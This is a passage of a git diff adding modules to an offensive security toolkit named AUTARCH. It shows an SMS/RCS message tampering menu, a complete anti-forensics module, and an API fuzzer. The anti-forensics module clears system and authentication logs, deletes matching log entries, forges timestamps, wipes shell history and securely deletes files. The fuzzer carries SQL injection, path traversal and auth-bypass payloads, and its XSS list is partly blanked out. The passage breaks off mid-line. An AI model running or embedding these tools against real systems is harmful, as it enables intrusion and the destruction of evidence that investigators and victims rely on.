+ msg_id = input(" RCS message _id to delete: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not msg_id: + return + print(" Deleting RCS message (requires root)...") + result = self.mgr.rcs_delete(self.serial, int(msg_id)) + if result['success']: + print(f" Deleted RCS message #{msg_id}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip().lower() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + actions = { + '1': self.list_sms, + '2': self.insert_sms, + '3': self.insert_batch, + '4': self.edit_sms, + '5': self.delete_by_id, + '6': self.delete_by_number, + '7': self.delete_all, + '8': self.rcs_check, + '9': self.rcs_list_msgs, + 'a': self.rcs_insert_msg, + 'b': self.rcs_delete_msg, + 's': self._select_device, + } + action = actions.get(choice) + if action: + action() + else: + print(" Invalid choice.") + + +def run(): + m = AndroidSms() + m.run_interactive() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/anti_forensics.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/anti_forensics.py new file mode 100644 index 0000000..e2aee4b --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/anti_forensics.py @@ -0,0 +1,580 @@ +"""AUTARCH Anti-Forensics + +Secure file deletion, timestamp manipulation, log clearing, metadata scrubbing, +and counter-forensics techniques for operational security. +""" + +DESCRIPTION = "Anti-forensics & counter-investigation tools" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "counter" + +import os +import re +import json +import time +import struct +import shutil +import secrets +import subprocess +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +try: + from PIL import Image as PILImage + HAS_PIL = True +except ImportError: + HAS_PIL = False + + +# ── Secure Deletion ───────────────────────────────────────────────────────── + +class SecureDelete: + """Secure file/directory deletion with overwrite patterns.""" + + PATTERNS = { + 'zeros': b'\x00', + 'ones': b'\xFF', + 'random': None, # Generated per-pass + 'dod_3pass': [b'\x00', None, b'\xFF'], # DoD 5220.22-M simplified + 'gutmann': None, # 35 passes with specific patterns + } + + @staticmethod + def secure_delete_file(filepath: str, passes: int = 3, + method: str = 'random') -> Dict: + """Securely delete a file by overwriting before unlinking.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + try: + file_size = os.path.getsize(filepath) + + if method == 'dod_3pass': + patterns = [b'\x00', None, b'\xFF'] + else: + patterns = [None] * passes # All random + + # Overwrite passes + for i, pattern in enumerate(patterns): + with open(filepath, 'r+b') as f: + remaining = file_size + while remaining > 0: + chunk_size = min(4096, remaining) + if pattern is None: + chunk = secrets.token_bytes(chunk_size) + else: + chunk = pattern * chunk_size + f.write(chunk[:chunk_size]) + remaining -= chunk_size + f.flush() + os.fsync(f.fileno()) + + # Truncate to zero + with open(filepath, 'w') as f: + pass + + # Rename to random name before deletion (anti-filename recovery) + directory = os.path.dirname(filepath) + random_name = os.path.join(directory, secrets.token_hex(16)) + os.rename(filepath, random_name) + os.unlink(random_name) + + return { + 'ok': True, + 'file': filepath, + 'size': file_size, + 'passes': len(patterns), + 'method': method, + 'message': f'Securely deleted {filepath} ({file_size} bytes, {len(patterns)} passes)' + } + + except PermissionError: + return {'ok': False, 'error': 'Permission denied'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def secure_delete_directory(dirpath: str, passes: int = 3) -> Dict: + """Recursively securely delete all files in a directory.""" + if not os.path.isdir(dirpath): + return {'ok': False, 'error': 'Directory not found'} + + deleted = 0 + errors = 0 + + for root, dirs, files in os.walk(dirpath, topdown=False): + for name in files: + filepath = os.path.join(root, name) + result = SecureDelete.secure_delete_file(filepath, passes) + if result['ok']: + deleted += 1 + else: + errors += 1 + + for name in dirs: + try: + os.rmdir(os.path.join(root, name)) + except OSError: + errors += 1 + + try: + os.rmdir(dirpath) + except OSError: + errors += 1 + + return { + 'ok': True, + 'directory': dirpath, + 'files_deleted': deleted, + 'errors': errors + } + + @staticmethod + def wipe_free_space(mount_point: str, passes: int = 1) -> Dict: + """Fill free space with random data then delete (anti-carving).""" + try: + temp_file = os.path.join(mount_point, f'.wipe_{secrets.token_hex(8)}') + chunk_size = 1024 * 1024 # 1MB + written = 0 + + with open(temp_file, 'wb') as f: + try: + while True: + f.write(secrets.token_bytes(chunk_size)) + written += chunk_size + f.flush() + except (OSError, IOError): + pass # Disk full — expected + + os.unlink(temp_file) + + return { + 'ok': True, + 'mount_point': mount_point, + 'wiped_bytes': written, + 'wiped_mb': round(written / (1024*1024), 1) + } + + except Exception as e: + # Clean up temp file + if os.path.exists(temp_file): + os.unlink(temp_file) + return {'ok': False, 'error': str(e)} + + +# ── Timestamp Manipulation ─────────────────────────────────────────────────── + +class TimestampManip: + """File timestamp modification for counter-forensics.""" + + @staticmethod + def get_timestamps(filepath: str) -> Dict: + """Get file timestamps.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + stat = os.stat(filepath) + return { + 'ok': True, + 'file': filepath, + 'accessed': datetime.fromtimestamp(stat.st_atime, timezone.utc).isoformat(), + 'modified': datetime.fromtimestamp(stat.st_mtime, timezone.utc).isoformat(), + 'created': datetime.fromtimestamp(stat.st_ctime, timezone.utc).isoformat(), + 'atime': stat.st_atime, + 'mtime': stat.st_mtime, + 'ctime': stat.st_ctime + } + + @staticmethod + def set_timestamps(filepath: str, accessed: float = None, + modified: float = None) -> Dict: + """Set file access and modification timestamps.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + try: + stat = os.stat(filepath) + atime = accessed if accessed is not None else stat.st_atime + mtime = modified if modified is not None else stat.st_mtime + os.utime(filepath, (atime, mtime)) + + return { + 'ok': True, + 'file': filepath, + 'accessed': datetime.fromtimestamp(atime, timezone.utc).isoformat(), + 'modified': datetime.fromtimestamp(mtime, timezone.utc).isoformat() + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def clone_timestamps(source: str, target: str) -> Dict: + """Copy timestamps from one file to another.""" + if not os.path.exists(source): + return {'ok': False, 'error': 'Source file not found'} + if not os.path.exists(target): + return {'ok': False, 'error': 'Target file not found'} + + try: + stat = os.stat(source) + os.utime(target, (stat.st_atime, stat.st_mtime)) + return { + 'ok': True, + 'source': source, + 'target': target, + 'message': 'Timestamps cloned' + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def randomize_timestamps(filepath: str, start_epoch: float = None, + end_epoch: float = None) -> Dict: + """Set random timestamps within a range.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + if start_epoch is None: + start_epoch = time.time() - 365 * 24 * 3600 # 1 year ago + if end_epoch is None: + end_epoch = time.time() + + import random + atime = random.uniform(start_epoch, end_epoch) + mtime = random.uniform(start_epoch, end_epoch) + + return TimestampManip.set_timestamps(filepath, atime, mtime) + + +# ── Log Clearing ───────────────────────────────────────────────────────────── + +class LogCleaner: + """System log manipulation and clearing.""" + + COMMON_LOG_PATHS = [ + '/var/log/auth.log', '/var/log/syslog', '/var/log/messages', + '/var/log/kern.log', '/var/log/daemon.log', '/var/log/secure', + '/var/log/wtmp', '/var/log/btmp', '/var/log/lastlog', + '/var/log/faillog', '/var/log/apache2/access.log', + '/var/log/apache2/error.log', '/var/log/nginx/access.log', + '/var/log/nginx/error.log', '/var/log/mysql/error.log', + ] + + @staticmethod + def list_logs() -> List[Dict]: + """List available log files.""" + logs = [] + for path in LogCleaner.COMMON_LOG_PATHS: + if os.path.exists(path): + try: + stat = os.stat(path) + logs.append({ + 'path': path, + 'size': stat.st_size, + 'modified': datetime.fromtimestamp(stat.st_mtime, timezone.utc).isoformat(), + 'writable': os.access(path, os.W_OK) + }) + except OSError: + pass + return logs + + @staticmethod + def clear_log(filepath: str) -> Dict: + """Clear a log file (truncate to zero).""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + try: + original_size = os.path.getsize(filepath) + with open(filepath, 'w') as f: + pass + return { + 'ok': True, + 'file': filepath, + 'cleared_bytes': original_size + } + except PermissionError: + return {'ok': False, 'error': 'Permission denied (need root?)'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def remove_entries(filepath: str, pattern: str) -> Dict: + """Remove specific entries matching a pattern from log file.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + try: + with open(filepath, 'r', errors='ignore') as f: + lines = f.readlines() + + original_count = len(lines) + filtered = [l for l in lines if not re.search(pattern, l, re.I)] + removed = original_count - len(filtered) + + with open(filepath, 'w') as f: + f.writelines(filtered) + + return { + 'ok': True, + 'file': filepath, + 'original_lines': original_count, + 'removed': removed, + 'remaining': len(filtered) + } + except PermissionError: + return {'ok': False, 'error': 'Permission denied'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def clear_bash_history() -> Dict: + """Clear bash history.""" + results = [] + history_files = [ + os.path.expanduser('~/.bash_history'), + os.path.expanduser('~/.zsh_history'), + os.path.expanduser('~/.python_history'), + ] + for hf in history_files: + if os.path.exists(hf): + try: + size = os.path.getsize(hf) + with open(hf, 'w') as f: + pass + results.append({'file': hf, 'cleared': size}) + except Exception: + pass + + # Also clear in-memory history + try: + subprocess.run(['history', '-c'], shell=True, capture_output=True) + except Exception: + pass + + return {'ok': True, 'cleared': results} + + +# ── Metadata Scrubbing ─────────────────────────────────────────────────────── + +class MetadataScrubber: + """Remove identifying metadata from files.""" + + @staticmethod + def scrub_image(filepath: str, output: str = None) -> Dict: + """Remove EXIF data from image.""" + if not HAS_PIL: + return {'ok': False, 'error': 'Pillow not installed'} + + try: + img = PILImage.open(filepath) + # Create clean copy without EXIF + clean = PILImage.new(img.mode, img.size) + clean.putdata(list(img.getdata())) + + out_path = output or filepath + clean.save(out_path) + + return { + 'ok': True, + 'file': out_path, + 'message': 'EXIF data removed' + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def scrub_pdf_metadata(filepath: str) -> Dict: + """Remove metadata from PDF (basic — rewrites info dict).""" + try: + with open(filepath, 'rb') as f: + data = f.read() + + # Remove common metadata keys + for key in [b'/Author', b'/Creator', b'/Producer', + b'/Title', b'/Subject', b'/Keywords']: + # Simple regex replacement of metadata values + pattern = key + rb'\s*\([^)]*\)' + data = re.sub(pattern, key + b' ()', data) + + with open(filepath, 'wb') as f: + f.write(data) + + return {'ok': True, 'file': filepath, 'message': 'PDF metadata scrubbed'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + +# ── Anti-Forensics Manager ────────────────────────────────────────────────── + +class AntiForensicsManager: + """Unified interface for anti-forensics operations.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'anti_forensics') + os.makedirs(self.data_dir, exist_ok=True) + self.delete = SecureDelete() + self.timestamps = TimestampManip() + self.logs = LogCleaner() + self.scrubber = MetadataScrubber() + self.audit_log: List[Dict] = [] + + def _log_action(self, action: str, target: str, details: str = ''): + """Internal audit log (ironic for anti-forensics).""" + self.audit_log.append({ + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'action': action, + 'target': target, + 'details': details + }) + + def get_capabilities(self) -> Dict: + """Check available capabilities.""" + return { + 'secure_delete': True, + 'timestamp_manip': True, + 'log_clearing': True, + 'metadata_scrub_image': HAS_PIL, + 'metadata_scrub_pdf': True, + 'free_space_wipe': True, + } + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_anti_forensics() -> AntiForensicsManager: + global _instance + if _instance is None: + _instance = AntiForensicsManager() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Anti-Forensics module.""" + mgr = get_anti_forensics() + + while True: + print(f"\n{'='*60}") + print(f" Anti-Forensics Toolkit") + print(f"{'='*60}") + print() + print(" 1 — Secure Delete File") + print(" 2 — Secure Delete Directory") + print(" 3 — Wipe Free Space") + print(" 4 — View File Timestamps") + print(" 5 — Set Timestamps") + print(" 6 — Clone Timestamps") + print(" 7 — Randomize Timestamps") + print(" 8 — List System Logs") + print(" 9 — Clear Log File") + print(" 10 — Remove Log Entries (pattern)") + print(" 11 — Clear Shell History") + print(" 12 — Scrub Image Metadata") + print(" 13 — Scrub PDF Metadata") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + path = input(" File path: ").strip() + passes = input(" Overwrite passes (default 3): ").strip() + if path: + result = mgr.delete.secure_delete_file(path, int(passes) if passes.isdigit() else 3) + print(f" {result.get('message', result.get('error'))}") + elif choice == '2': + path = input(" Directory path: ").strip() + if path: + confirm = input(f" DELETE ALL in {path}? (yes/no): ").strip() + if confirm == 'yes': + result = mgr.delete.secure_delete_directory(path) + print(f" Deleted {result.get('files_deleted', 0)} files, {result.get('errors', 0)} errors") + elif choice == '3': + mount = input(" Mount point: ").strip() + if mount: + result = mgr.delete.wipe_free_space(mount) + if result['ok']: + print(f" Wiped {result['wiped_mb']} MB of free space") + else: + print(f" Error: {result['error']}") + elif choice == '4': + path = input(" File path: ").strip() + if path: + result = mgr.timestamps.get_timestamps(path) + if result['ok']: + print(f" Accessed: {result['accessed']}") + print(f" Modified: {result['modified']}") + print(f" Created: {result['created']}") + elif choice == '5': + path = input(" File path: ").strip() + date_str = input(" Date (YYYY-MM-DD HH:MM:SS): ").strip() + if path and date_str: + try: + ts = datetime.strptime(date_str, '%Y-%m-%d %H:%M:%S').timestamp() + result = mgr.timestamps.set_timestamps(path, ts, ts) + print(f" Timestamps set to {date_str}") + except ValueError: + print(" Invalid date format") + elif choice == '6': + source = input(" Source file: ").strip() + target = input(" Target file: ").strip() + if source and target: + result = mgr.timestamps.clone_timestamps(source, target) + print(f" {result.get('message', result.get('error'))}") + elif choice == '7': + path = input(" File path: ").strip() + if path: + result = mgr.timestamps.randomize_timestamps(path) + if result['ok']: + print(f" Set to: {result.get('modified', '?')}") + elif choice == '8': + logs = mgr.logs.list_logs() + for l in logs: + writable = 'writable' if l['writable'] else 'read-only' + print(f" {l['path']} ({l['size']} bytes) [{writable}]") + elif choice == '9': + path = input(" Log file path: ").strip() + if path: + result = mgr.logs.clear_log(path) + if result['ok']: + print(f" Cleared {result['cleared_bytes']} bytes") + else: + print(f" {result['error']}") + elif choice == '10': + path = input(" Log file path: ").strip() + pattern = input(" Pattern to remove: ").strip() + if path and pattern: + result = mgr.logs.remove_entries(path, pattern) + if result['ok']: + print(f" Removed {result['removed']} of {result['original_lines']} lines") + else: + print(f" {result['error']}") + elif choice == '11': + result = mgr.logs.clear_bash_history() + for c in result['cleared']: + print(f" Cleared {c['file']} ({c['cleared']} bytes)") + elif choice == '12': + path = input(" Image path: ").strip() + if path: + result = mgr.scrubber.scrub_image(path) + print(f" {result.get('message', result.get('error'))}") + elif choice == '13': + path = input(" PDF path: ").strip() + if path: + result = mgr.scrubber.scrub_pdf_metadata(path) + print(f" {result.get('message', result.get('error'))}") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/api_fuzzer.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/api_fuzzer.py new file mode 100644 index 0000000..3a1ab43 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/api_fuzzer.py @@ -0,0 +1,742 @@ +"""AUTARCH API Fuzzer + +Endpoint discovery, parameter fuzzing, auth testing, rate limit detection, +GraphQL introspection, and response analysis for REST/GraphQL APIs. +""" + +DESCRIPTION = "API endpoint fuzzing & vulnerability testing" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import json +import time +import copy +import threading +from pathlib import Path +from urllib.parse import urljoin, urlparse, parse_qs +from typing import Dict, List, Optional, Any, Tuple + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +try: + import requests + from requests.exceptions import RequestException + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +# ── Fuzz Payloads ──────────────────────────────────────────────────────────── + +SQLI_PAYLOADS = [ + "' OR '1'='1", "\" OR \"1\"=\"1", "'; DROP TABLE--", "1; SELECT 1--", + "' UNION SELECT NULL--", "1' AND '1'='1", "admin'--", "' OR 1=1#", + "1 AND 1=1", "1' ORDER BY 1--", "') OR ('1'='1", +] + +XSS_PAYLOADS = [ + "", "'\">", + "javascript:alert(1)", "", "{{7*7}}", + "${7*7}", "<%=7*7%>", "{{constructor.constructor('return 1')()}}", +] + +TYPE_CONFUSION = [ + None, True, False, 0, -1, 2147483647, -2147483648, + 99999999999999, 0.1, -0.1, float('inf'), + "", " ", "null", "undefined", "NaN", "true", "false", + [], {}, [None], {"__proto__": {}}, + "A" * 1000, "A" * 10000, +] + +TRAVERSAL_PAYLOADS = [ + "../../../etc/passwd", "..\\..\\..\\windows\\system32\\config\\sam", + "....//....//....//etc/passwd", "%2e%2e%2f%2e%2e%2f", + "/etc/passwd%00", "..%252f..%252f", +] + +COMMON_ENDPOINTS = [ + '/api', '/api/v1', '/api/v2', '/api/v3', + '/api/users', '/api/admin', '/api/login', '/api/auth', + '/api/config', '/api/settings', '/api/debug', '/api/health', + '/api/status', '/api/info', '/api/version', '/api/docs', + '/api/swagger', '/api/graphql', '/api/internal', + '/swagger.json', '/swagger-ui', '/openapi.json', + '/api/tokens', '/api/keys', '/api/secrets', + '/api/upload', '/api/download', '/api/export', '/api/import', + '/api/search', '/api/query', '/api/execute', '/api/run', + '/graphql', '/graphiql', '/playground', + '/.well-known/openid-configuration', + '/api/password/reset', '/api/register', '/api/verify', + '/api/webhook', '/api/callback', '/api/notify', + '/actuator', '/actuator/health', '/actuator/env', + '/metrics', '/prometheus', '/_debug', '/__debug__', +] + + +# ── API Fuzzer Engine ──────────────────────────────────────────────────────── + +class APIFuzzer: + """REST & GraphQL API security testing.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'api_fuzzer') + os.makedirs(self.data_dir, exist_ok=True) + self.session = requests.Session() if HAS_REQUESTS else None + self.results: List[Dict] = [] + self._jobs: Dict[str, Dict] = {} + + def set_auth(self, auth_type: str, value: str, header_name: str = 'Authorization'): + """Configure authentication for requests.""" + if not self.session: + return + if auth_type == 'bearer': + self.session.headers[header_name] = f'Bearer {value}' + elif auth_type == 'api_key': + self.session.headers[header_name] = value + elif auth_type == 'basic': + parts = value.split(':', 1) + if len(parts) == 2: + self.session.auth = (parts[0], parts[1]) + elif auth_type == 'cookie': + self.session.cookies.set('session', value) + elif auth_type == 'custom': + self.session.headers[header_name] = value + + def clear_auth(self): + """Clear authentication.""" + if self.session: + self.session.headers.pop('Authorization', None) + self.session.auth = None + self.session.cookies.clear() + + # ── Endpoint Discovery ─────────────────────────────────────────────── + + def discover_endpoints(self, base_url: str, custom_paths: List[str] = None, + threads: int = 10) -> str: + """Discover API endpoints. Returns job_id.""" + job_id = f'discover_{int(time.time())}' + self._jobs[job_id] = { + 'type': 'discover', 'status': 'running', + 'found': [], 'checked': 0, 'total': 0 + } + + def _discover(): + paths = COMMON_ENDPOINTS + (custom_paths or []) + self._jobs[job_id]['total'] = len(paths) + found = [] + + def check_path(path): + try: + url = urljoin(base_url.rstrip('/') + '/', path.lstrip('/')) + resp = self.session.get(url, timeout=5, allow_redirects=False) + self._jobs[job_id]['checked'] += 1 + + if resp.status_code < 404: + entry = { + 'path': path, + 'url': url, + 'status': resp.status_code, + 'content_type': resp.headers.get('content-type', ''), + 'size': len(resp.content), + 'methods': [] + } + + # Check allowed methods via OPTIONS + try: + opts = self.session.options(url, timeout=3) + allow = opts.headers.get('Allow', '') + if allow: + entry['methods'] = [m.strip() for m in allow.split(',')] + except Exception: + pass + + found.append(entry) + except Exception: + self._jobs[job_id]['checked'] += 1 + + # Thread pool + active_threads = [] + for path in paths: + t = threading.Thread(target=check_path, args=(path,)) + t.start() + active_threads.append(t) + if len(active_threads) >= threads: + for at in active_threads: + at.join(timeout=10) + active_threads.clear() + + for t in active_threads: + t.join(timeout=10) + + self._jobs[job_id]['found'] = found + self._jobs[job_id]['status'] = 'complete' + + threading.Thread(target=_discover, daemon=True).start() + return job_id + + def parse_openapi(self, url_or_path: str) -> Dict: + """Parse OpenAPI/Swagger spec to extract endpoints.""" + try: + if url_or_path.startswith('http'): + resp = self.session.get(url_or_path, timeout=10) + spec = resp.json() + else: + with open(url_or_path) as f: + spec = json.load(f) + + endpoints = [] + paths = spec.get('paths', {}) + for path, methods in paths.items(): + for method, details in methods.items(): + if method.upper() in ('GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS'): + params = [] + for p in details.get('parameters', []): + params.append({ + 'name': p.get('name'), + 'in': p.get('in'), + 'required': p.get('required', False), + 'type': p.get('schema', {}).get('type', 'string') + }) + endpoints.append({ + 'path': path, + 'method': method.upper(), + 'summary': details.get('summary', ''), + 'parameters': params, + 'tags': details.get('tags', []) + }) + + return { + 'ok': True, + 'title': spec.get('info', {}).get('title', ''), + 'version': spec.get('info', {}).get('version', ''), + 'endpoints': endpoints, + 'count': len(endpoints) + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Parameter Fuzzing ──────────────────────────────────────────────── + + def fuzz_params(self, url: str, method: str = 'GET', + params: Dict = None, payload_type: str = 'type_confusion') -> Dict: + """Fuzz API parameters with various payloads.""" + if not self.session: + return {'ok': False, 'error': 'requests not available'} + + if payload_type == 'sqli': + payloads = SQLI_PAYLOADS + elif payload_type == 'xss': + payloads = XSS_PAYLOADS + elif payload_type == 'traversal': + payloads = TRAVERSAL_PAYLOADS + else: + payloads = TYPE_CONFUSION + + params = params or {} + findings = [] + + for param_name, original_value in params.items(): + for payload in payloads: + fuzzed = copy.deepcopy(params) + fuzzed[param_name] = payload + + try: + if method.upper() == 'GET': + resp = self.session.get(url, params=fuzzed, timeout=10) + else: + resp = self.session.request(method.upper(), url, json=fuzzed, timeout=10) + + # Analyze response for anomalies + finding = self._analyze_fuzz_response( + resp, param_name, payload, payload_type + ) + if finding: + findings.append(finding) + + except RequestException as e: + if 'timeout' not in str(e).lower(): + findings.append({ + 'param': param_name, + 'payload': str(payload), + 'type': 'error', + 'detail': str(e) + }) + + return {'ok': True, 'findings': findings, 'tested': len(params) * len(payloads)} + + def _analyze_fuzz_response(self, resp, param: str, payload, payload_type: str) -> Optional[Dict]: + """Analyze response for vulnerability indicators.""" + body = resp.text.lower() + finding = None + + # SQL error detection + sql_errors = [ + 'sql syntax', 'mysql_fetch', 'pg_query', 'sqlite3', + 'unclosed quotation', 'unterminated string', 'syntax error', + 'odbc', 'oracle error', 'microsoft ole db', 'ora-0' + ] + if payload_type == 'sqli' and any(e in body for e in sql_errors): + finding = { + 'param': param, 'payload': str(payload), + 'type': 'sqli', 'severity': 'high', + 'detail': 'SQL error in response', + 'status': resp.status_code + } + + # XSS reflection + if payload_type == 'xss' and str(payload).lower() in body: + finding = { + 'param': param, 'payload': str(payload), + 'type': 'xss_reflected', 'severity': 'high', + 'detail': 'Payload reflected in response', + 'status': resp.status_code + } + + # Path traversal + if payload_type == 'traversal': + traversal_indicators = ['root:', '/bin/', 'windows\\system32', '[boot loader]'] + if any(t in body for t in traversal_indicators): + finding = { + 'param': param, 'payload': str(payload), + 'type': 'path_traversal', 'severity': 'critical', + 'detail': 'File content in response', + 'status': resp.status_code + } + + # Server error (500) might indicate injection + if resp.status_code == 500 and not finding: + finding = { + 'param': param, 'payload': str(payload), + 'type': 'server_error', 'severity': 'medium', + 'detail': f'Server error (500) triggered', + 'status': resp.status_code + } + + # Stack trace / debug info disclosure + debug_indicators = [ + 'traceback', 'stacktrace', 'exception', 'debug', + 'at line', 'file "/', 'internal server error' + ] + if any(d in body for d in debug_indicators) and not finding: + finding = { + 'param': param, 'payload': str(payload), + 'type': 'info_disclosure', 'severity': 'medium', + 'detail': 'Debug/stack trace in response', + 'status': resp.status_code + } + + return finding + + # ── Auth Testing ───────────────────────────────────────────────────── + + def test_idor(self, url_template: str, id_range: Tuple[int, int], + auth_token: str = None) -> Dict: + """Test for IDOR by iterating IDs.""" + findings = [] + start_id, end_id = id_range + + if auth_token: + self.session.headers['Authorization'] = f'Bearer {auth_token}' + + for i in range(start_id, end_id + 1): + url = url_template.replace('{id}', str(i)) + try: + resp = self.session.get(url, timeout=5) + if resp.status_code == 200: + findings.append({ + 'id': i, 'url': url, + 'status': resp.status_code, + 'size': len(resp.content), + 'accessible': True + }) + elif resp.status_code not in (401, 403, 404): + findings.append({ + 'id': i, 'url': url, + 'status': resp.status_code, + 'accessible': False, + 'note': f'Unexpected status: {resp.status_code}' + }) + except Exception: + pass + + return { + 'ok': True, 'findings': findings, + 'accessible_count': sum(1 for f in findings if f.get('accessible')), + 'tested': end_id - start_id + 1 + } + + def test_auth_bypass(self, url: str) -> Dict: + """Test common auth bypass techniques.""" + bypasses = [] + + tests = [ + ('No auth header', {}), + ('Empty Bearer', {'Authorization': 'Bearer '}), + ('Bearer null', {'Authorization': 'Bearer null'}), + ('Bearer undefined', {'Authorization': 'Bearer undefined'}), + ('Admin header', {'X-Admin': 'true'}), + ('Internal header', {'X-Forwarded-For': '127.0.0.1'}), + ('Override method', {'X-HTTP-Method-Override': 'GET'}), + ('Original URL', {'X-Original-URL': '/admin'}), + ] + + for name, headers in tests: + try: + resp = requests.get(url, headers=headers, timeout=5) + if resp.status_code == 200: + bypasses.append({ + 'technique': name, + 'status': resp.status_code, + 'size': len(resp.content), + 'success': True + }) + else: + bypasses.append({ + 'technique': name, + 'status': resp.status_code, + 'success': False + }) + except Exception: + pass + + return { + 'ok': True, + 'bypasses': bypasses, + 'successful': sum(1 for b in bypasses if b.get('success')) + } + + # ── Rate Limiting ──────────────────────────────────────────────────── + + def test_rate_limit(self, url: str, requests_count: int = 50, + method: str = 'GET') -> Dict: + """Test API rate limiting.""" + results = [] + start_time = time.time() + + for i in range(requests_count): + try: + resp = self.session.request(method, url, timeout=10) + results.append({ + 'request_num': i + 1, + 'status': resp.status_code, + 'time': time.time() - start_time, + 'rate_limit_remaining': resp.headers.get('X-RateLimit-Remaining', ''), + 'retry_after': resp.headers.get('Retry-After', '') + }) + if resp.status_code == 429: + break + except Exception as e: + results.append({ + 'request_num': i + 1, + 'error': str(e), + 'time': time.time() - start_time + }) + + rate_limited = any(r.get('status') == 429 for r in results) + elapsed = time.time() - start_time + + return { + 'ok': True, + 'rate_limited': rate_limited, + 'total_requests': len(results), + 'elapsed_seconds': round(elapsed, 2), + 'rps': round(len(results) / elapsed, 1) if elapsed > 0 else 0, + 'limit_hit_at': next((r['request_num'] for r in results if r.get('status') == 429), None), + 'results': results + } + + # ── GraphQL ────────────────────────────────────────────────────────── + + def graphql_introspect(self, url: str) -> Dict: + """Run GraphQL introspection query.""" + query = { + 'query': ''' + { + __schema { + types { + name + kind + fields { + name + type { name kind } + args { name type { name } } + } + } + queryType { name } + mutationType { name } + } + } + ''' + } + + try: + resp = self.session.post(url, json=query, timeout=15) + data = resp.json() + + if 'errors' in data and not data.get('data'): + return {'ok': False, 'error': 'Introspection disabled or error', + 'errors': data['errors']} + + schema = data.get('data', {}).get('__schema', {}) + types = [] + for t in schema.get('types', []): + if not t['name'].startswith('__'): + types.append({ + 'name': t['name'], + 'kind': t['kind'], + 'fields': [ + {'name': f['name'], + 'type': f['type'].get('name', f['type'].get('kind', '')), + 'args': [a['name'] for a in f.get('args', [])]} + for f in (t.get('fields') or []) + ] + }) + + return { + 'ok': True, + 'query_type': schema.get('queryType', {}).get('name'), + 'mutation_type': schema.get('mutationType', {}).get('name'), + 'types': types, + 'type_count': len(types) + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + def graphql_depth_test(self, url: str, max_depth: int = 10) -> Dict: + """Test GraphQL query depth limits.""" + results = [] + for depth in range(1, max_depth + 1): + # Build nested query + inner = '{ __typename }' + for _ in range(depth): + inner = f'{{ __schema {{ types {inner} }} }}' + + try: + resp = self.session.post(url, json={'query': inner}, timeout=10) + results.append({ + 'depth': depth, + 'status': resp.status_code, + 'has_errors': 'errors' in resp.json() if resp.headers.get('content-type', '').startswith('application/json') else None + }) + if resp.status_code != 200: + break + except Exception: + results.append({'depth': depth, 'error': True}) + break + + max_allowed = max((r['depth'] for r in results if r.get('status') == 200), default=0) + return { + 'ok': True, + 'max_depth_allowed': max_allowed, + 'depth_limited': max_allowed < max_depth, + 'results': results + } + + # ── Response Analysis ──────────────────────────────────────────────── + + def analyze_response(self, url: str, method: str = 'GET') -> Dict: + """Analyze API response for security issues.""" + try: + resp = self.session.request(method, url, timeout=10) + issues = [] + + # Check security headers + security_headers = { + 'X-Content-Type-Options': 'nosniff', + 'X-Frame-Options': 'DENY|SAMEORIGIN', + 'Strict-Transport-Security': None, + 'Content-Security-Policy': None, + 'X-XSS-Protection': None, + } + for header, expected in security_headers.items(): + val = resp.headers.get(header) + if not val: + issues.append({ + 'type': 'missing_header', + 'header': header, + 'severity': 'low' + }) + + # Check for info disclosure + server = resp.headers.get('Server', '') + if server and any(v in server.lower() for v in ['apache/', 'nginx/', 'iis/']): + issues.append({ + 'type': 'server_disclosure', + 'value': server, + 'severity': 'info' + }) + + powered_by = resp.headers.get('X-Powered-By', '') + if powered_by: + issues.append({ + 'type': 'technology_disclosure', + 'value': powered_by, + 'severity': 'low' + }) + + # Check CORS + cors = resp.headers.get('Access-Control-Allow-Origin', '') + if cors == '*': + issues.append({ + 'type': 'open_cors', + 'value': cors, + 'severity': 'medium' + }) + + # Check for error/debug info in body + body = resp.text.lower() + if any(kw in body for kw in ['stack trace', 'traceback', 'debug mode']): + issues.append({ + 'type': 'debug_info', + 'severity': 'medium', + 'detail': 